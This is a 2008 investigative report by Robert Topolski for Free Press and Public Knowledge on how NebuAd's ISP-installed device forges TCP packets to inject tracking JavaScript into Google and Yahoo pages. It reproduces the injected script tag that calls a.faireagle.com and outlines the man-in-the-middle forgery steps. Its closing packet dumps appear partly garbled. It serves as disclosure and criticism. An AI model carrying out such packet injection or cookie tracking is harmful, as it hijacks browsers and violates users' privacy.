NebuAd and Partner ISPs: Wiretapping, Forgery and Browser Hijacking

Robert M. Topolski
Chief Technology Consultant
Free Press and Public Knowledge
June 18, 2008
Executive Summary

This report addresses the technical aspects of NebuAd, a targeted behavioral advertising company with offices located in the United States and United Kingdom that recently began seeking deals with Internet Service Providers (ISPs). NebuAd recently made headlines when the cable operator Charter announced that it had struck a deal with the company. Charter’s announcement prompted public and congressional inquiries into NebuAd’s practices, including a letter from Rep. Ed Markey (D-Mass.) and Rep. Joe Barton (R-Texas). NebuAd has also been deployed by WOW!, Embarq, Broadstripe, CenturyTel, Metro Provider and others.

To determine NebuAd’s practices, this investigation used sound and reproducible network testing methods. The investigation concludes that NebuAd’s advertising hardware monitors, intercepts and modifies the contents of Internet packets using Transmission Control Protocol on Internet Protocol (TCP/IP). In doing so, NebuAd commandeers users’ Web browsers and collects uniquely identifying tracking cookies to facilitate its advertising model. Apparently, neither the consumers nor the affected Web sites have actual knowledge of NebuAd’s interceptions and modifications.

NebuAd exploits several forms of “attack” on users’ and applications’ security, the use of which has always generated considerable controversy and user condemnation, including browser hijacking, cross-site scripting and man-in-the-middle attacks. These practices -- committed upon users with the paid-for cooperation of ISPs -- violate several fundamental expectations of Internet privacy, security and standards-based interoperability. Moreover, NebuAd violates the Internet Engineering Task Force (IETF) standards that created today’s Internet where the network operators transmit packets between end users without inspecting or interfering with them. For example, the TCP protocol would normally not accept code from a source that is a third party from the client-server connection. NebuAd engages in packet forgery to trick a user’s computer into accepting data and Web page changes from a third party like NebuAd.

NebuAd has designed a hardware device it installs into an ISP’s network. This device has three purposes, and the bulk of this report concerns itself primarily with the NebuAd device’s unusual method for accomplishing the last purpose -- cookie preloading.

1. *Unique Identification:* The NebuAd device ties a customer’s individual record maintained by the ISP to an alphanumeric code (called a “hash code”). This method allows NebuAd to uniquely and persistently to identify individuals without ISPs needing to release data from billing records.

2. *User Monitoring:* The NebuAd system monitors user’s Web browsing activity. The device sees the pages visited, the search terms entered, and words that appear on the pages. This information is reportedly evaluated to determine the user’s interest in various marketing categories. Stored information is indexed to the end user’s hash code.
3. **Cookie Preloading:** The NebuAd device ensures that a Web browser is always preloaded with cookies providing unique identifying codes representing the ISP’s subscriber. A cookie is a parcel of text placed by a server on a Web client (usually a browser) and then sent back by the client each time the client accesses that server. It is used for authenticating, session tracking, and maintaining specific information about users, such as site preferences or the contents of their electronic shopping carts. On pages where NebuAd or its partners have bought advertising space, the presence of NebuAd cookies enable advertisers to display targeted messages instead of random ones. Regardless of whether the end user changes computers, browsers or purposefully and frequently erases cookies, the device reloads the subscriber’s uniquely identifying cookies to allow the targeted advertising to continue.
**Key Events:**

On March 10, 2008, a user of WOW! (formerly Wide Open West) observed on DSLReports.com that, “WOW’s internet connection is forcing connections and cookies on my machine when I browse to google.com.” Other WOW! users observed the same behavior.

On March 11, 2008, NebuAd’s presence on the WOW! network was confirmed. Although users received no proactive notice, the Terms and Conditions page was quietly modified to include the following statement, “We may also use an advertising network provider (or providers) to help present advertisements on our Web site.” A separate system help-file explains, “The ad network operates by observing anonymous user activity across the Internet.”

In May 2008, I contacted a technically capable WOW! subscriber in Streamfield, Ill. He provided me with access to a computer via Remote Desktop Protocol (RDP).

On May 29 and June 1, 2008, using this equipment, I accessed the Web address http://www.google.com/ while monitoring the cookies directory. I found that some visits to this page would result in accumulating cookies for domains other than www.google.com. (See Figure 1)

On May 29 and June 1, 2008, I similarly accessed the Web address http://www.yahoo.com/ while monitoring the cookies directory. I found that some visits to this page would result in accumulating cookies for domains other than www.yahoo.com or its partners listed at http://info.yahoo.com/privacy/us/yahoo/thirdparties/details.html. Conclusions from http://www.yahoo.com/ match those found with http://www.google.com/ in all ways, from the cookies that were collected to the eventually discovered method that my browser obtained them, the experience, evidence. For the sake of brevity, I use Google as the primary example, but the key points and findings are identical for Yahoo.

---

1 WOW! tracking connection to Google!!; http://www.dslreports.com/forum/r20141655-WOW-tracking-connection-to-Google
2 Wide Open West Using NebuAD, Users don’t get much of a heads up...; http://www.dslreports.com/shownews/92520
3 Because the testing method was direct enough to give me first-hand knowledge of the events and evidence that I describe here, I am choosing to go on the record myself, without unnecessarily revealing more about this subscriber’s identity at this time. Because the cookies and scripts described herein identify the customer, these too are altered slightly to protect his privacy and peace.
Upon reviewing the record of TCP packets from Google’s server, it is observable that an extra packet appears in the data stream before the data stream closes. The contents of this added packet are added to the code underlying Google’s Web page. The added packet contains JavaScript code that causes a Web browser to visit another site. Evidence (see below) indicates that this packet is a forgery and did not come from Google, but from some other point within the network. (See Figure 2)
Over the week of June 2, 2008, I revealed my tests and results to employees at Google who confirmed that the page source for www.google.com did not contain the JavaScript code in question and that Google was not responsible for its appearance in the TCP data stream between Google’s servers and end users on the WOW! network.

**The Interception and Forgery of Google’s Web Page Code**

In addition to the confirmation from Google personnel, evidence and circumstances lead to the conclusion that NebuAd’s equipment injected the suspicious packet causing the browser exploit.

*The script:* When executed, the JavaScript causes the browser to load script from domain a.faireagle.com. Fair Eagle is a NebuAd company\(^5\) with no known ties to Google and no mention in Google’s privacy policies or related pages. (See Figure 3)

```
<script language="JavaScript"
src="http://a.faireagle.com/a?t=s&c=PSX_10_0609_9_8&v=8.7&ts=6543210&g=1234567"></script>
```

Figure 3: NebuAd-appended JavaScript which likely identifies this unique subscriber to the NebuAd system. This consistent subscriber ID makes it difficult for someone to evade profiling or targeted ads. The system will always inject the same codes.

*Two incomplete IP packets where only one is expected:* Google’s Web page consists of less than 6900 bytes (on June 1, 2008, 6710 bytes plus about 170 bytes of server headers). After subtracting various transit headers, the TCP packet payload size was 1430 bytes per IP packet. The TCP protocol should have been able to send the entire page in five IP packets. Strangely, six were used. While HTTP streams sometimes break transmission between headers and body, it does not break transmission within page source. Indeed, the offending script code was contained in its own packet. (See Figure 4)

The sixth packet, just like the five before it, identifies its source as originating from the same IP address and port number as the Google server to which my browser had been connected. It identifies itself as part of the ongoing transmission from Google through TCP’s ACK and SEQ numbering to prevent the system from rejecting the forged packet.

---

\(^5\) Fair Eagle page at http://www.faireagle.com/ identifies the company as a subsidiary of NebuAd.
Figure 4: The data received should have filled five packets. Instead, six were received. The last packet only contained the suspicious JavaScript. The unmodified Google page source is contained within packets one through five.

**Test Procedure and Results**

**PREPARATION**

- Initially prepared machine\(^6\) by running Internet Explorer 7 and getting past the "runonce" sequence, deselected the anti-phishing feature and did not change the default search engine.
- Set the home page to http://www.google.com/
- Close Internet Explorer

**EXECUTION**

1. Start Internet Explorer
2. Check the directory "%USERPROFILE%\Local Settings\Temporary Internet Files" and "%USERPROFILE%\Cookies" to see if any non-Google cookies have arrived
3. If "faireagle" cookies did not appear, then close Internet Explorer and repeat steps 1 and 2. (On some occasions, save a copy of the source as a normal [only-Google-cookies] comparison copy.)

\(^6\) System Configuration: Freshly installed version of Microsoft Windows XP SP3. Computer network interface directly connected to WOW! Network (no intervening NAT device). Onto that platform, I installed Wireshark, a network protocol analyzer. I also used the latest-released versions of Microsoft Internet Explorer 7. In my judgment and experience in the field of network software testing, this is an acceptably clean and reproducible testbed.
4. If "faireagle" cookies did appear, then right click on the screen and choose "View Source." After NOTEPAD opens with the source, save the file to the desktop for later analysis.

RESULTS

Approximately 10 percent of the time, the cookies for a.faireagle.com and several other apparently advertising-related domains appear using the above procedure. Using my own non-WOW! account, I never receive the offending cookies.

Privacy and Security: Concerns and Analogous Practices

NebuAd’s practices resemble several forms of “attacks” on users that have generated considerable controversy and user condemnation.

Similarities to a browser hijack: Browser hijacking involves changing the normal behavior of someone’s Web browser without permission. Malicious software often hijacks a browser for the purposes of advertising. The most common hijacks change a user’s home page, while others add items to “favorites” or bookmarks lists, alter default search engines or error pages, add or read cookies, or lower security settings before leading the user to malicious and infectious Web pages.

This attack is a browser hijack because it changes the normal behavior of the browser without permission. Normally, when visiting http://www.google.com/, a browser would not also visit http://a.faireagle.com/ and execute JavaScript there.

Similarities to a cross-site scripting (XSS) attack: Cross-site scripting is a security vulnerability usually found in systems that allow users to inject their own code into messages to be viewed (and executed) by other users. Malicious users can use this ability to load and execute code, including the ability to reach exploits allowing full control of a system.

Because it appears to the Web browser and operating system that Google’s page is calling a.faireagle.com on purpose (as a matter of trust), this gives the code executed from a.faireagle.com a higher level of trust. Therefore, it is considered a “type two” (the most powerful) type of XSS attack.

Similarities to the Intel processor serial number (PSN) controversy: Intel Corporation added a unique identifier into processors manufactured after 1999. The PSN enabled Web sites to uniquely identify users, even if they wished to remain anonymous. In response to objections by security and privacy advocates, Intel subsequently released software intended to mask the PSN. The software failed to mask the PSN in certain cases. Intel dropped the feature in the very next year.

---

7 National Cyber Alert System; Cyber Security Tip ST04-012; Browsing Safely: Understanding Active Content and Cookies; http://www.us-cert.gov/cas/tips/ST04-012.html
Many privacy-sensitive users will delete or block tracking cookies. Like the PSN, NebuAd’s technology persistently and uniquely identifies a customer in ways that are resistant to tracking-avoidance tactics.

Similarities to Phorm controversy: Phorm is a similar online advertising concern operating in the United Kingdom.

In the way that the browser is hijacked to load cookies, the events described here match the operating method of Phorm as reportedly trialed by British Telecom.

Similarities to DoubleClick’s former interest-profiling activity: DoubleClick is a well-established online advertiser, now owned by Google. DoubleClick’s advertising service included tracking users’ marketing interests in profiles and presentment of suitably targeted ads, which is similar to NebuAd’s stated intentions. DoubleClick’s controversial interest-profiling practices ended in 2002.

DoubleClick’s profiling service did not include NebuAd-like eavesdropping on the content of Web messages as they were being sent and received. The accumulation of DoubleClick profiles was prone to restart from the beginning upon the change of an IP address, system, software or the deletion of cookies -- unlike NebuAd which ensures this profile information persists. Also unlike NebuAd, DoubleClick’s method did not violate the normal security or behavior of the users’ Web browsers and did not violate Internet standards.

Similarities to a man-in-the-middle (MITM) attack: MITM is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them. This behavior leads the users to believe that they are talking directly to each other over a private connection when in fact the entire conversation is controlled by the attacker. The attacker intercepts and conveys messages going between the two victims and injects convincing replacement messages.

This attack is a MITM because NebuAd is inserted into the network between end points. To cause the browser to load cookies, it inserts code by impersonating the end-point server and adding JavaScript at a time when the real end-point server would end its transmission.

---

10 Information Security; FFIEC IT Examination Booklets; http://www.ffiec.gov/ffiecinfobase/booklets/information_security/08_app_glossary.html
Conclusion

NebuAd exploits normal browser and platform security behaviors by forging IP packets, allowing their own JavaScript code to be written into source code trusted by the Web browser. NebuAd and ISPs together cooperate in this attack against the intentions of the consumers, the designers of their software and the owners of the servers that they visit.

Web page code is normally entirely downloaded from servers to clients over a single TCP connection. Once the page is downloaded, the downloaded code is executed by the client. The execution of this code is what causes the additional operations necessary to download images and other page resources. This code is considered safe to execute because it purportedly came from a source trusted by the user. NebuAd’s code injected into another’s page source is a cross-site exploit (XSS) and the subsequent behavior of loading cookies it normally would not load is a browser hijack. NebuAd accomplishes its XSS by using what is effectively a classic man-in-the-middle attack.

In order to accomplish its objectives, the device must and does:

a. Monitor and -- at exactly the right time -- intercept the communications between end points.
b. Impersonate the IP address and ports of the end-point server and communicate with the client.
c. Prevent the end-point client and server from continuing to directly communicate with each other over those ports.
d. Synchronize certain integrity counters used by the TCP protocol to prevent the receiver from rejecting the packets.

Devices in the middle of the network that impersonate and use protocols reserved for end-point hosts violate Internet standards established by the IETF. RFC 791designates that end hosts should originate packets using host protocols over IP.\textsuperscript{11} Devices between end hosts use the Internet Control Message Protocol (ICMP) protocol described in RFC 792.\textsuperscript{12} Originating TCP messages by intermediate devices is not supported by RFC 793 (TCP), 1009 (requirements for gateways [or routers]), or 1122 (requirements for Internet hosts).

\textsuperscript{11} RFC 791 is the Internet Standard that describes the Internet Protocol.
\textsuperscript{12} RFC 792 describes the ICMP protocol which is a control messaging protocol intended for gateway devices to be able to communicate messages to end points.
About the Author

Robert Topolski is a software testing professional with 25 years of experience in networking protocols. His qualifications include 15 years working in the above role at Intel Corporation and Quarterdeck Corporation. He has earned certification as a Certified Software Quality Engineer (CSQE) by the American Society for Quality in 2004, and recognition as a Microsoft Most Valued Professional (MS-MVP) in Networking in 2006. Since May 2008, Robert has served as Chief Technology Consultant to Free Press\textsuperscript{13} and Public Knowledge\textsuperscript{14} -- providing technical assistance and insight in furtherance of their policy efforts related to preservation of freedom and access to information on the Internet.

\textsuperscript{13} Free Press, http://www.freepress.net/
\textsuperscript{14} Public Knowledge, http://www.publicknowledge.org/
null
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>2008-06-01</td>
<td>07:56:26.088568</td>
<td>64.233.167.99</td>
<td>TCP</td>
</tr>
</tbody>
</table>


**Frame 5 (942 bytes on wire, 942 bytes captured)**

**Ethernet II**, Src: `Broadband_02:04:50` (00:50:57:02:04:50), Dst: `Trend_XX:XX:XX` (00:e0:98:XX:XX:XX)

**Internet Protocol**, Src: `64.233.167.99` (64.233.167.99), Dst: `XX.XX.XX` (XX.XX.XX.XX)


0000 00 e0 98 XX XX XX 00 50 57 02 04 50 08 00 45 00 ...F.u.PW..P.E.
0010 03 a0 bb 58 00 00 36 06 b7 a7 09 e9 a7 63 XX XX ...X...@&cXX
0020 e5 d6 00 50 05 5b 18 44 44 5d 08 08 09 50 18 ...P.([LD]H..IP.
0030 21 80 ca 3f 00 00 65 5e 5f 41 4c 4c 64 49 6e 67 ...\...en_ALL/ima
0040 67 65 73 5c 2c 6f 67 6e 62 67 69 6f 66 6f 3d 22 2f ...gos/logo.gif" wi
0050 67 64 68 3d 32 37 36 3e 3c 62 72 3e 3c 62 72 3e ...d=276><br>
0060 3c 66 6f 72 6d 20 61 63 74 69 6f 66 6e 3d 22 2f 73 ...<form action="/s
0070 65 61 72 63 68 22 20 6e 61 6d 3d 66 3e 3c 74 49 ...ame" name="f<tt
0080 61 62 6c 65 20 63 65 6c 6c 6c 6c 4b 70 61 64 64 ...able ceilpadding
0090 65 65 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c ...0 ceilspacing
00a0 3e 74 3c 74 20 70 61 64 64 64 64 64 64 64 64 64 64 ...>tr valign=top
00b0 3c 74 64 20 77 69 64 74 68 3d 32 35 25 3e 26 6e ...<td width=25%"&n
00c0 62 73 70 3c 3c 2f 74 64 3e 33 74 70 41 6c 64 69 ...hsp></td><td all
00d0 67 63 64 66 6e 75 72 61 70 70 61 6e 67 61 64 65 ...gn=center nowrap
00e0 3e 3c 69 6e 70 75 70 61 64 65 63 68 6c 20 ...>\input name=hl

---

Frame 5 (942 bytes on wire, 942 bytes captured)

- **Ethernet II**: `Broadband_02:04:50` (00:50:57:02:04:50), Dst: `Trend_XX:XX:XX` (00:e0:98:XX:XX:XX)
- **Internet Protocol**: Src: `64.233.167.99` (64.233.167.99), Dst: `XX.XX.XX` (XX.XX.XX.XX)
Frame 6 (189 bytes on wire, 189 bytes captured)
Ethernet II, Src: Broadban_02:04:50 (00:50:57:02:04:50), Dst: Trend_XX:XX:XX (00:e0:98:XX:XX:XX)
Internet Protocol, Src: 64.233.167.99 (64.233.167.99), Dst: XX.XX.XX.XX (XX.XX.XX.XX)
Transmission Control Protocol, Src Port: http (80), Dst Port: 1371 (1371), Seq: 6608, Ack: 0, Len: 135

Hypertext Transfer Protocol

0000 00 e0 98 XX XX XX 00 50 57 02 04 50 08 00 45 00 ...F.u.PW...E.
0010 0f af 8d d0 00 00 36 06 e8 20 40 e9 a7 63 XX XX .......6. @...XX
0020 e5 d6 00 5b 18 4c 47 d5 48 d7 08 69 50 18 ...LI...P.
0030 21 80 b4 77 00 37 63 0d 0a 3c 72 63 69 72 69 70 ...!/en/about.html*

No. Time Source Destination Protocol
0 2008-06-01 07:56:26.088606 64.233.167.99 XX.XX.XX.XX TCP [TCP]